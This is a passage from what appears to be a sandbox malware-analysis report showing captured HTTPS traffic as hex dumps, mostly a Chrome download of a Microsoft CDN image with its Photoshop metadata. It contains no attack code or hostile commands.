6f 21 8b ed 97 52 5c ad b2 ed 8d 64 f9 b6 af a0 ab 3a 0f 8a 1e c6 f1 65 9e 59 27 b3 56 0d 25 97 98 56 39 3d 88 15 e3 63 
b2 d7 8c 6a 77 b3 b7 de 43 8f 3e e7 d8 3e 1e d4 ad fc 43 a4 c5 a8 3d b4 eb 14 ec eb 06 dc 7c c8 0e 33 8f 5f 6a e8 6c f4 
fb 64 8d 6e f7 79 be 43 7c aa d0 6e 6f c7 d6 
Data Ascii: 'fo62VMwk+.W6rv_7gk?U#MW|mUnLYm.hA]vi?_[EyyyT=2}4hMo{fGH Uoo!R\d:eY'V%V9=cjwC>>C=|3_jldn
yC|no

2022-08-11 03:42:55 UTC 3733 IN Data Raw: 97 ea 3a 57 d6 be 20 d6 3c 0f a8 7c 5a b1 9a f7 4a d5 bf b5 63 82 45 55 e7 65 ab 70 55 83 f0 77 10 3f f1 ea f1 
9f 89 9e 11 d2 bc 4d 25 f5 ce 9d e1 8d 43 4f d4 be 79 60 8e d1 bc d6 65 cf fa c9 57 24 8e 7d 2b da cb 33 bc 46 22 a5 28 
e2 22 d7 bb ae 8a cd b7 a3 bd cc 65 08 c1 58 f0 05 4d b3 67 6b 6c 6a 97 cc 2d 0b 40 55 55 b7 7d da 64 9e 6c 6d e4 3a fc 
cb 9d df de 56 cd 31 9a 3d b9 46 fd ef de da d5 f7 df 12 b9 8f 28 c2 ef b7 66 dd d4 6d 0b b7 65 2d bf 98 fb 9c 37 fb d5 b5 
a0 f8 57 57 f1 34 77 47 4c b3 6b c5 b3 8f cd 9f 6e 3f 76 bd 3b f5 a5 3a 90 a7 1e 69 bb 21 6b d0 c8 99 cb db aa 8f 97 73 ee 
ae eb c0 7a a5 fe a5 1c 1a 07 87 b4 5b 45 bf 97 7f 9f a9 49 1e f9 76 9e bc b7 fa b4 02 b9 bd 5b c2 ba a6 97 25 8c 53 db 
7e fe e9 4f 95 02 b0 67 6e 78 f9 46 4d 32 6b 1f 
Data Ascii: :W <|ZJcEUepUw?M%COy`eW$}+3F"("eXMgklj-@UU}dlm:V1=F(fme-7WW4wGLkn?v;:i!ksz[EIv[%S~OgnxFM
2k

2022-08-11 03:42:55 UTC 3833 IN Data Raw: ee 90 6f 93 1f f2 d0 01 cf 35 e4 77 16 7a 45 ad 8f ee af 1a 26 59 42 ee 91 4e fe 07 24 0e 98 06 ba 8f 87 be 27 
d4 e1 d4 2d ac e2 83 cf b0 91 b6 b4 8d f7 95 7d 8f 6f a5 74 3c 1c 69 d2 bc 75 7b eb a0 29 dd a4 cf 40 d2 ae 3c 31 e2 4d 
16 0b 7b f9 7e c7 e2 6f de 45 f3 31 57 56 5f ba 71 d3 69 ef 5d 57 86 34 a8 b5 4d 1e 5d 22 ef 53 69 da d6 02 de 45 8b 7c 
fe 66 7f 88 f7 1e 95 e7 97 33 58 58 fd 87 58 8e c6 39 75 19 64 92 09 e0 bb f9 bc b1 bf e4 da 3d 7d eb a2 d0 f5 87 d1 f5 49 
5e 09 56 07 bc 67 5f 32 06 ff 00 57 bb 80 0f 6c d7 97 56 9b 69 f2 df fc 99 4a 4e 2f 53 ac bc d5 35 2b 0b 3f b1 5b 4e da 7a 
c4 c7 6b 6e da cc fd b8 3f 91 6a 3f e1 30 b0 99 96 ca de 75 8a fe 7f 2d 5b e6 fb b8 4c 73 db 9e c6 bc db e2 b7 88 60 d3 f4 
75 b3 b9 93 cd 92 78 8a c1 76 cc 56 58 fb 91 
Data Ascii: o5wzE&YBN$'-}ot<iu{)@<1M{~oE1WV_qi]W4M]"SiE|f3XXX9ud=}I^Vg_2WlViJN/S5+?[Nzkn?j?0u-[Ls`uxvVX

2022-08-11 03:42:55 UTC 3837 IN Data Raw: 49 22 bb b6 b6 5d af 1b e3 68 c1 5e 31 9e 72 2b 2b e2 06 9f 77 e1 fd 5b 53 9f 4c 5b 68 91 97 f7 f6 d2 30 7f 31 
9b e6 c9 03 ee b0 e3 9a e6 fc 0f ad c7 71 aa 7d a6 5b 95 81 a4 50 bf bc 5d ab 33 8e 0e d3 9e 71 4a 34 1f b3 73 83 e9 6f 
3d 4e 39 69 25 6d cd ed 52 e9 ee bc 49 72 f6 53 c7 a6 59 69 ac 16 39 64 5f de b2 67 90 ab 8c 16 03 9a c5 8e e6 e2 ea 3b 
ef b5 cb 72 d2 ac a2 49 3a 2f 99 8e 46 54 0e 6a c6 b5 71 6e f7 8b 14 90 7f a5 45 76 8d e4 43 f2 b4 d9 e9 b7 9e e7 ad 4b 
0b cb e2 0d 4a fa ce 25 5b 3b 8b 15 79 25 6d db 77 32 f5 19 ec fc e0 57 5c 22 a3 4d 69 b7 56 64 fd e9 5d 22 ce 9f a8 4b 
e1 c8 e5 d6 2c a7 91 60 b9 93 ca 97 e5 d8 92 30 ea 3b f4 a8 e1 be 9e 4e 0d f2 c0 cb 1b f9 1b 98 ff 00 a4 29 fe 12 c3 ee f1 
d2 b9 9b 3d 37 53 b9 92 5b 3d 4f 57 6d 3e dd 63 2d 
Data Ascii: I"]h^1r++w[SL[h01q}[P]3qJ4so=N9i%mRIrSYi9d_g;rI:/FTjqnEvCKJ%[;y%mw2W\"MiVd]"K,`0;N)=7S[=OWm>c-

2022-08-11 03:42:55 UTC 3943 IN Data Raw: a2 d4 d0 f1 3d e0 d4 35 09 5e 25 ff 00 45 8b 3e 5a aa ed eb d8 57 37 34 2f 1a b0 fb af fc 3f fd 7a bf 1c cb 71 
23 18 59 99 24 61 b9 9b ef 37 f8 55 7b e6 8e 4b 8d e1 7e 69 2b 7a 31 e4 4a 23 f5 22 8d 16 35 82 79 b6 ca 1b fe 59 fd ef 
c4 fb 55 c8 f5 08 a3 93 cc 82 05 89 76 95 66 5f 97 72 9f 5a a6 6d 4a c7 29 76 65 89 54 fd df ef 76 15 56 dd e4 b7 8f 07 76 
e9 3e f7 cb 5d 8d 5c e6 94 53 6d b3 ad f0 dd d5 a5 84 cd 27 d9 95 9e 3c b2 33 7f 0b 7f 5a 5b ab cf b6 5e 4a 64 8a 38 91 
b3 b9 55 76 2e ee dd 2b 07 4a 92 4b cd 42 0b 70 db 77 7c ac db ab a0 87 c3 d2 6a 5e 26 9e ca de 58 e2 db f3 34 92 36 
d4 db ed ef 5c 75 65 1a 73 72 93 e8 35 19 38 72 b3 a2 f8 7b e1 f8 3c 41 e3 0b 3d 2f 50 b9 6b 6b 39 54 c9 e6 c6 de 9c f3 
9a fa 42 e3 c6 5a 47 83 74 9b 9d 1f 44 89 bc 88 a3 75 
Data Ascii: =5^%E>ZW74/?zq#Y$a7U{K~i+z1J#"5yYUvf_rZmJ)veTvVv>]\Sm'<3Z[^Jd8Uv.+JKBpw|j^&X46\uesr58r{<
A=/Pkk9TBZGtDu

2022-08-11 03:42:55 UTC 3959 IN Data Raw: 55 d3 e2 95 b7 6d 45 5d cb b3 72 e7 3d 7b e2 bc c6 eb 4f d6 ed a6 8a df 4f d3 e4 b9 8a 79 03 2e ef ef 0f ef 35 
7d 4e 0e 9d 17 75 0d 0e 49 4a cb 56 75 da af c5 e4 f0 df 9e 2c ad 96 55 da 60 8b 6a 95 da a7 04 81 f4 39 ac 55 f8 bb 22 
dd 79 6f 3b 4f 14 aa 3e 5f bc d1 af af bd 79 9f 8c b5 ad 57 fb 6b fb 2f 50 f2 e0 ba 89 4c 69 1a b6 d4 56 6f 4a eb 2d 7e 13 
de 4d a7 d8 df ff 00 6b ad 9d c4 f8 8e 58 24 5f ba d9 c7 6f ba b5 ea ac 06 17 0f 05 2a 8a ce 5d 45 ce fa 33 b3 d1 6d 9b c7 
da c7 95 fd a0 b1 58 5b c6 92 b7 cd b7 cb 51 df a5 63 78 e6 fe cb 4f b7 5f 33 55 b9 9d d5 5d 63 92 db 0a 9c 70 0f 3c d6 
8c 71 de f8 5e de 52 96 cd 24 f1 c1 e5 5c cf 04 81 62 65 c9 c4 87 eb e9 5c f7 89 b4 9f ed 8d 3e 23 7b e5 aa 36 f5 68 e1 
61 b6 3c 1e 3f 31 5c f8 78 c6 55 79 af ee f4 21 
Data Ascii: UmE]r={OOy.5}NuIJVu,U`j9U"yo;O>_yWk/PLiVoJ-~MkX$_o*]E3mX[QcxO_3U]cp<q^R$\be\>#{6ha<?1\xUy!

2022-08-11 03:42:55 UTC 4047 IN Data Raw: 86 da a5 e6 a8 ba dd e4 ab a4 45 6d 1a fc cb 21 fd da 39 da 48 07 9d bb 9b 3b bb 1a ba d6 fa 7f c2 2f 1c 44 
75 5b e9 ee e7 d4 9e 75 b0 66 90 2b 5a ab 27 25 c7 fb 44 70 3b 6e ab fa c7 89 12 f2 e2 58 c6 9f 3e 99 0d d5 dc f6 4f 7b 
25 ce e4 6d bc 2a 84 18 db 9c e7 3d 2b 2b e2 05 b6 89 ac 5d 5f 3d dd 8f da 5e 08 de da 0b 95 9f 6c aa 63 5d a6 20 bd 0f 
cd ce 47 5f 5a f8 85 88 ad 88 aa fd b6 90 92 b5 92 d6 dd 35 bf 77 f3 35 52 8a 3b 09 35 0b 2d 72 4b 3d 3a ce cf 6e ad 79 
a4 fe ea 08 32 cb 1e 70 c5 a4 90 8e 1b ad 79 95 b5 d4 9a 1f c5 e5 d3 f5 fb 98 e5 65 8f f7 97 36 8a 57 6b f9 78 10 86 eb ff 
00 02 03 ad 7a 6f 81 f5 4d 56 4d 0f 4a 9b 4e 96 5b 6d 35 ac 8e d6 bb 85 22 59 9a 3e d9 ea 50 7e a5 ab ca 35 bd 1f 5b b8 
d5 35 e8 ed 99 60 b0 b6 b9 92 5f ed 4b 9c 2b 6d 6e 3f 
Data Ascii: Em!9H;/Du[uf+Z'%Dp;nX>O{%m*=++]_=^lc] G_Z5w5R;5-rK=:ny2pye6WkxzoMVMJN[m5"Y>P~5[5`_K+mn?

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 4063 IN Data Raw: c8 2d f5 5f 32 09 67 5d bb 5b f8 58 f4 e0 f6 ae df 4f 9a 78 75 89 67 d2 27 93 7b 5c 88 a4 8d a0 f9 a6 5f ef 11 
ed 57 7c 6f 7b a7 ea 5a 84 ba a4 ad 73 3e bf 7d e4 b7 ef 14 4b e5 a0 3b 4f 00 05 e6 b4 c3 d6 a9 42 6a 9f d9 7d b7 4f 45 
f7 10 bd d4 df 43 c9 1b c3 f2 b6 a1 28 dc cd 04 12 79 6c d1 af ca de 83 03 d4 56 fd af c3 2f 11 6a 1a 3d f6 bf 65 6d 1d 9e 
9f 6d e6 fd a6 49 26 f2 96 16 51 92 39 ee 57 a0 ef 5e d3 f0 4f c3 11 5a e9 ba f7 8b 35 95 6d 56 5b 39 43 5b 69 bb 4a 24 
93 26 76 6f e3 90 00 f5 c7 22 b7 3c 7e d2 a7 85 d8 6b 3a 7c 16 3a 5e a0 a9 2d f4 76 2a 1a e6 4c 92 49 ce 76 e4 e3 1e b5 
a4 f3 8a 93 ac e8 50 49 f2 b4 9b 7f 7b 49 69 77 6f c4 de 31 4e 2c f1 2f 04 7c 41 87 fe 11 76 d2 b5 28 a4 95 13 1b 3c b5 db 
e5 80 30 14 63 d7 24 f3 e9 5d af 81 6c 65 bc d3 
Data Ascii: -_2g][XOxug'{\_W|o{Zs>}K;OBj}OEC(ylV/j=emmI&Q9W^OZ5mV[9C[iJ$&vo"<~k:|:^-v*LIvPI{Iiwo1N,/|Av(<0c$]le

2022-08-11 03:42:55 UTC 4158 IN Data Raw: c9 06 dc 52 f4 7a 74 f3 e8 54 9f 2a 2e da e8 9e 21 d2 b4 96 d2 f4 8b 68 16 db 50 89 2e 64 b2 96 7f dd 48 a5 
4b 28 65 e9 b8 75 04 d7 29 e3 4d 12 5b 0d 3f 4f 1a 3c f0 34 53 a2 24 b7 3a 7c 65 1b cc c6 7c a6 fa 0c fd 6b d9 e1 87 c2 
76 f7 9a 96 b7 61 3d ca b6 9f 88 ed 2e d6 6f 96 67 23 0a 4a e7 68 11 8c a9 4c 7f 10 af 26 ff 00 84 e2 3d 06 e9 af ec ad 9a 
cd 35 05 b8 b6 b9 b9 86 1d d1 48 b9 ca b6 0f fa b6 1e d5 d9 84 c4 54 a9 26 d4 1d f7 d5 5b 5f 3f 90 2d 16 ba 95 fc 2f e3 
4b ff 00 06 b4 5a 25 c6 ab f6 35 9e ee 26 69 e7 83 72 ac 79 3b f8 3f c3 58 9e 2d be b2 be f1 65 f5 b5 9e a0 ba 95 94 92 
16 8e fa 48 ce d6 e7 21 87 f7 6b 90 d5 b5 cb 8d 4b 50 53 a8 c1 f6 cb c8 e4 3b 5b 8f 9b 71 e8 71 fa 55 f8 75 ab dd 1e ce 
4d 32 dd 76 db fd a4 49 2b 32 ee f9 41 1f 75 bd 07 71 
Data Ascii: RztT*.!hP.dHK(eu)M[?O<4S$:|e|kva=.og#JhL&=5HT&[_?-/KZ%5&iry;?X-eH!kKPS;[qqUuM2vI+2Auq

2022-08-11 03:42:55 UTC 4239 IN Data Raw: 8b fd a1 66 b7 25 be f1 65 b7 04 74 73 d7 71 3c fd 2a d7 89 fe 1a e8 d7 57 d6 36 7e 1a 89 a2 4d 66 27 69 15 
a7 2d e5 b4 60 37 9a c4 e3 d4 e1 6b 47 c3 ba 52 f8 7b c2 fa ab de 5a c9 63 2c f6 89 15 b4 2d 39 7f 39 e4 f9 5e 62 39 c9 
db c8 5a e4 c4 4e 8c a0 af ac 5b 4d 47 67 a7 cf b9 b4 a9 49 75 d0 f2 66 d1 6e f4 fd 43 48 93 5a dd 6d 61 75 76 91 2c ed 
8d d1 a6 07 39 ef 85 35 df eb fe 10 d0 34 4f 8b d6 cb 15 cc 10 78 79 ac 7c f9 66 56 f3 22 93 6a 7b 76 76 1d f9 ac 8f 8d 09 
7a 9e 20 89 6e 62 6d 3c db 4a 92 5a 47 73 87 fd da 81 b8 92 a3 07 2e 0f 1d ba 54 fe 34 f0 3d b3 68 b6 7a 9d c6 a1 73 a8 
49 ab 5b 26 a8 f0 69 f1 ec 8a 38 73 b3 38 3f ed 0c 62 bd 5f 68 eb 42 9d 47 2b 29 26 b4 d5 6b fe 5d cc fd fe 5b 25 a5 ff 00 
23 b0 f0 ba e8 1a d6 a5 a9 dc bd 9d 8d f7 9b 07 97 
Data Ascii: f%etsq<*W6~Mf'i-`7kGR{Zc,-99^b9ZN[MGgIufnCHZmauv,954Oxy|fV"j{vvz nbm<JZGs.T4=hzsI[&i8s8?
b_hBG+)&k][%#

2022-08-11 03:42:55 UTC 4255 IN Data Raw: 9e 06 78 ac b5 b5 93 4b bc 6d 4a 6b 35 d5 f4 48 a5 4b 4b b6 b4 93 6e ec 81 b4 e3 b1 e7 1b 8d 7b b0 a4 a5 ed 
27 51 24 e4 f4 4b bf 97 af e6 2d 51 ea 5e 0b 99 3e 28 e9 f6 77 fa ac ab 69 6f a7 b2 c5 6d 6d b8 b6 ec 67 7c a5 46 72 09 
ea 6b 98 f1 d6 a5 f6 df 1d 58 f9 17 3f d8 d7 b7 32 f9 72 b4 78 dd 1d b9 fb de 60 1c 64 8e 7e 95 d7 2f 83 74 ed 37 c1 77 36 
5a 27 9f 62 f7 11 fd bb ed d7 79 54 8e 11 d0 46 dc 36 ed d9 52 0f d7 15 b5 ad e8 ba 15 cf fc 4e e5 d4 60 d4 ec 2f a2 0d 
e6 34 61 5a 19 84 1b 17 90 3a ee ed df ad 79 14 2b 52 a7 5e 4e 29 f2 ea 92 ed fa 6b af dc 6d c9 2d e5 a9 e4 49 1e 9f e1 
8f 8a 9a 62 69 ed 3d b5 84 77 31 4b 73 a8 5d c7 bb e4 c8 fb aa 3a 29 cf 4a cd ba 5b 7d 27 c5 9e 2a 36 d2 db 5e 79 92 4f 
24 12 32 9d db b7 92 36 ff 00 75 8d 69 78 8f c6 b0 6a 
Data Ascii: xKmJk5HKKn{'Q$K-Q^>(wiommg|FrkX?2rx`d~/t7w6Z'byTF6RN`/4aZ:y+R^N)km-Ibi=w1Ks]:)J[}'*6^yO$26uixj

2022-08-11 03:42:55 UTC 4259 IN Data Raw: 82 5d 51 65 31 c7 1c 7f 2f ca 46 d2 cb 8e 84 7b d7 6e 22 4e 54 25 08 3d 59 82 8f 46 74 1a 26 a9 3e 83 ab 4f 
a3 dc cb 1e eb a6 db 3c 93 b1 65 d8 38 21 07 f0 9a 81 3c 13 6f 37 8b 20 b9 d1 f5 0d b0 b7 df b6 83 e7 fb bc 2e e1 db 35 
15 d5 85 87 8d 35 ad 42 3b 49 d6 da f2 dd b6 c5 73 03 6e 5d e3 9c 1f 7c 8c 56 8f 82 6e a2 f0 6e a9 69 2d bc b2 5c fd b2 
3f 2e f6 3d bb 1a 37 53 ce d2 7d ab c3 b4 94 5c e0 ed 2b 6a ac 77 52 8e d7 2d 5e 5e 09 bc 4d a6 5e dc dc ff 00 66 4b 14 
ef 1f dd da ad b3 a8 fa 1c f1 5c 37 8c fc 01 ab f8 86 fa 5d 56 dd 9a 57 69 4b 4b fc 2d 1a 83 80 d8 ae d3 c5 de 15 d4 35 4b 
ab 9b d8 9a 3f b1 f9 86 58 e4 65 f9 55 0f 41 8f 7a 24 b9 97 4d d2 db 53 83 ee 4b 88 fc 89 17 76 e7 5f e2 c7 f7 41 a9 c3 4d 
d1 e5 ab 45 ae 6b 5b fe 01 a3 8d d6 a7 0b f0 fa d9 
Data Ascii: ]Qe1/F{n"NT%=YFt&>O<e8!<o7 .55B;Isn]|Vnni-\?.=7S}\+jwR-^^M^fK\7]VWiKK-5K?XeUAz$MSKv_AMEk[

2022-08-11 03:42:55 UTC 4335 IN Data Raw: d6 35 5f 95 5b a3 7f bb fd ea f0 2b da ae ca fd cf 42 8a 51 d6 2f 53 a1 82 fa 2d 7b c5 9f f1 2b 81 be c4 b0 3b 4b
07 dd 5d c0 f0 07 b9 ac ed 57 c1 71 cd 71 2d dc 10 79 11 40 bf 33 7f b4 07 23 3d be 6e 2a de a1 7e 34 9b af b2 68 d7 31 
ed b9 65 8d a4 dd f9 af d7 77 53 5c 87 8e 7c 69 e6 46 ba 15 83 34 5e 6c a1 a5 da db 57 78 20 9c fa d7 1d 1e 78 cd 28 6c 
6d 29 28 6b 2d 8e 9f 41 d5 2e 74 7b cb 37 d7 ff 00 74 b2 ae d8 35 08 1b e5 8d 4a e0 65 ba 10 2b 98 d6 34 58 a6 f1 76 a0 
2f ef 1b 50 48 a5 46 59 b7 06 8b 73 8c 90 71 d3 d4 55 3d 56 ea da 4d 1e f2 ca 49 64 6b a8 b0 ae aa c5 97 6f fb 38 fe 1a 
c2 56 3a 95 c4 b0 45 17 d8 60 59 46 e5 b6 53 b1 b0 30 39 3c 8e 6b b2 9c 1c d4 a5 7b 5c e5 a9 35 28 b8 bd 4d 0f 10 f8 76 
2f b7 7d aa 3b 36 9e e1 a3 31 c1 1c 92 7c bf f5 d0 
Data Ascii: 5_[+BQ/S-{+;K]Wqq-y@3#=n*~4h1ewS\|iF4^lWx x(lm)(k-A.t{7t5Je+4Xv/PHFYsqU=VMIdko8V:E`YFS09
<k{\5(Mv/};61|

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

155 192.168.11.20 49792 2.16.241.7 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 2117 OUT GET /cms/api/am/imageFileData/RE4YzZS?ver=7b46 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.
102 Safari/537.36 Edge/18.19042
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

Copyright Joe Security LLC 2022 Page 108 of 310



2022-08-11 03:42:55 UTC 2182 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4YzZS?ver=7b46
Last-Modified: Tue, 09 Aug 2022 09:40:11 GMT
X-Source-Length: 1654488
X-Datacenter: northeu
X-ActivityId: fa12f3f3-ed31-4ef8-ae2f-60ac01e02998
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 1654488
Cache-Control: public, max-age=280564
Expires: Sun, 14 Aug 2022 09:38:59 GMT
Date: Thu, 11 Aug 2022 03:42:55 GMT
Connection: close

2022-08-11 03:42:55 UTC 2183 IN Data Raw: ff d8 ff e1 14 ed 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 
00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 
73 29 00 32 30 32 31 3a 31 31 3a 31 31 20 30 36 3a 35 35 3a 33 38 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 
a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 
01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:11:11 06:55:388"

2022-08-11 03:42:55 UTC 2406 IN Data Raw: 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 31 
31 36 35 37 37 66 2d 35 37 35 64 2d 38 33 34 37 2d 39 38 64 36 2d 38 39 30 65 32 65 30 33 31 30 32 32 22 20 78 6d 70 
4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 61 38 35 33 32 65 62 65 
2d 62 34 31 32 2d 34 37 34 36 2d 39 35 30 62 2d 32 65 31 31 64 66 33 66 66 34 37 31 22 20 78 6d 70 4e 6f 74 65 3a 48 
61 73 45 78 74 65 6e 64 65 64 58 4d 50 3d 22 44 30 41 33 39 39 46 34 41 45 41 43 31 44 35 32 33 36 45 36 43 31 37 41 
31 39 33 42 34 41 33 44 22 3e 20 3c 70 68 6f 74 6f 73 68 6f 70 3a 54 65 78 74 4c 61 79 65 72 73 3e 20 3c 72 64 66 3a 42 
61 67 3e 20 3c 72 64 66 3a 6c 69 20 70 68 6f 74 6f 73 68 6f 70 3a 
Data Ascii: :DocumentID="adobe:docid:photoshop:f116577f-575d-8347-98d6-890e2e031022" xmpMM:OriginalD
ocumentID="xmp.did:a8532ebe-b412-4746-950b-2e11df3ff471" xmpNote:HasExtendedXMP="D0A399F4AEAC1D5236E
6C17A193B4A3D"> <photoshop:TextLayers> <rdf:Bag> <rdf:li photoshop:

2022-08-11 03:42:55 UTC 2422 IN Data Raw: 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 73 68 75 74 74 65 72 73 74 6f 
63 6b 5f 33 35 33 34 31 36 30 30 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 
31 36 2d 30 37 2d 32 36 54 31 31 3a 30 33 3a 33 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 
65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 37 33 34 31 30 36 31 5f 31 30 38 30 78 31 3
9 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 34 3a 33 36 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
Data Ascii: dge\_Crops\Edge-Lifestyle_shutterstock_353416007_1080x1920.jpg saved&#xA;2016-07-26T11:03:30-07:00
&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-87341061_1080x1920.jpg 
saved&#xA;2016-07-26T11:04:36-07:00&#x9;File C:\Users\

2022-08-11 03:42:55 UTC 2424 IN Data Raw: 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 
4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 
65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 30 37 2d 32 36 54 31 38 3a 32 34 3a 33 31 2d 30 37 3a 30 30 26 23 
Data Ascii: ved&#xA;2016-07-26T18:17:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Por
trait.psd saved&#xA;2016-07-26T18:23:29-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Por
trait.psd saved&#xA;2016-07-26T18:24:31-07:00&#

2022-08-11 03:42:55 UTC 2472 IN Data Raw: 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 34 32 3a 33 39 
2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 
64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 36 3a 30 38 2d 30 37 3a 30 30 26 23 
78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 
64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 32 54 31 30 3a 32 38 3a 35 30 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
Data Ascii: 0.jpg saved&#xA;2016-08-31T13:42:39-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x
1920_Portrait.psd saved&#xA;2016-09-12T10:26:08-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;20
16-09-12T10:28:50-07:00&#x9;File C:\Users\v-liz

2022-08-11 03:42:55 UTC 2488 IN Data Raw: 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 52 65 61 64 69 6e 67 56 69 65 77 5f 47 65 74 74 79 49 6d 61 67 
65 73 2d 39 35 36 39 35 32 39 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
36 2d 31 30 2d 31 37 54 31 38 3a 33 34 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 53 75 72 67 65 5c 52 65 61 64 
69 6e 67 56 69 65 77 5f 4e 6f 64 69 73 74 72 61 63 74 69 6f 6e 73 2d 43 6f 6e 63 65 6e 74 72 61 74 69 6e 67 2d 46 6f 63 
75 73 2d 53 69 6d 70 6c 69 63 69 74 79 5c 45 64 67 65 53 75 72 67 65 2d 52 65 61 64 69 6e 67 56 69 65 77 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 35 37 38 31 39 35 33 37 37 5f 31 30 38 30 78 
Data Ascii: ity\EdgeSurge-ReadingView_GettyImages-95695291_1080x1920.jpg saved&#xA;2016-10-17T18:34:53-
07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\Surge\ReadingView_Nodistractions-Concentrating-Focus-Sim
plicity\EdgeSurge-ReadingView_GettyImages-578195377_1080x

2022-08-11 03:42:55 UTC 2734 IN Data Raw: 73 31 30 5c 43 6f 72 74 61 6e 61 5c 43 6f 72 74 61 6e 61 2d 52 65 6d 69 6e 64 65 72 5f 47 65 74 74 79 49 6d 
